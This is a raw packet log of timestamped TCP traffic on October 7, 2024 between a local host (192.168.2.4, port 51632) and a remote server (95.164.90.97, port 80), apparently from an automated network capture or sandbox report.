Oct 7, 2024 18:43:35.626378059 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626395941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626405001 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626408100 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626418114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626421928 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626427889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626437902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626446962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626455069 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626456976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626467943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626478910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626488924 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626488924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626494884 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626507044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626517057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626523018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626529932 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626537085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626543045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626544952 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626549006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626550913 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626568079 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626588106 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626652002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626662970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626672983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626683950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626693010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626699924 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626703024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626713991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626718044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626724005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626734018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626753092 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626753092 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626771927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626779079 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626782894 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626792908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626801968 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626804113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626813889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626823902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626831055 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626833916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.626854897 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.626873016 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.654740095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.654777050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.654792070 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.654793024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.654810905 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.654819012 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.655021906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.655033112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.655044079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.655072927 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.655261040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.655303001 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.673070908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673114061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673125029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673135996 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.673160076 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.673244953 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673255920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673264980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673275948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673290968 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.673305988 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.673599958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673683882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.673841000 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673851013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673861027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673871040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673881054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673887014 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.673892021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673908949 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673911095 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.673914909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673922062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673928976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673929930 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.673930883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673933983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673938990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.673959970 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.673985958 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.704252005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704265118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704277039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704298973 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704307079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704313040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704318047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704411030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.704442024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.704633951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704739094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704749107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704758883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704767942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704777956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704782963 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.704793930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704802036 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.704806089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704816103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704821110 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.704827070 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704839945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.704859018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.704884052 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.705480099 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.705491066 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.705501080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.705509901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.705521107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.705526114 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.705530882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.705542088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.705550909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.705555916 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.705560923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.705571890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.705585003 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.705604076 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.706054926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706064939 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706073999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706084013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706094027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706106901 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.706109047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706120014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706125975 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.706130028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706140041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706142902 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.706149101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706160069 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706168890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706176043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.706181049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.706202984 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.706218958 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.708275080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.708286047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.708302021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.708339930 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.708357096 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.708384991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.708395004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.708405972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.708415985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.708426952 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.708451986 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.708919048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.708929062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.708940983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.708986998 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.709022045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.709032059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.709042072 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.709052086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.709063053 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.709084034 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.709901094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.709959984 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.736484051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.741307020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181382895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181404114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181421995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181432962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181442976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181458950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181466103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181472063 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181482077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181490898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181499958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181507111 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181509972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181519985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181529999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181545019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181550980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181551933 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181560993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181571007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181583881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181595087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181602955 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181602955 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181602955 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181605101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181615114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181619883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181627035 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181629896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181639910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181649923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181658983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181667089 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181668997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181679964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181689978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181695938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181705952 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181715012 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181718111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181729078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181732893 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181740046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181750059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181756020 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181760073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181770086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181781054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181782007 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181791067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181794882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181801081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181811094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181821108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181823015 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181829929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181845903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181848049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181855917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181862116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181864977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181874990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181876898 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181885004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181895018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.181904078 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181919098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181943893 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.181993961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182004929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182015896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182025909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182035923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182040930 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182045937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182054996 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182055950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182066917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182080984 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182095051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182097912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182107925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182116985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182126999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182130098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182137012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182147026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182153940 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182157993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182168007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182178020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182180882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182188034 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182198048 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182199001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182209015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182214022 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182219028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182229042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182239056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182240009 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182265043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182276964 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182456970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182467937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182477951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182499886 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182524920 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182540894 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182553053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182562113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182571888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182581902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182583094 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182591915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182596922 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182601929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182612896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182621956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182624102 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182636023 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182662964 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182841063 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182852030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182861090 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182872057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182879925 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182883024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182893038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182893991 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182903051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.182921886 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.182940960 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183003902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183016062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183024883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183034897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183044910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183047056 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183056116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183065891 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183072090 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183077097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183087111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183090925 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183096886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183104992 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183106899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183123112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183132887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183140993 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.183144093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183155060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.183165073 CEST	80	51632	95.164.90.97	192.168.2.4
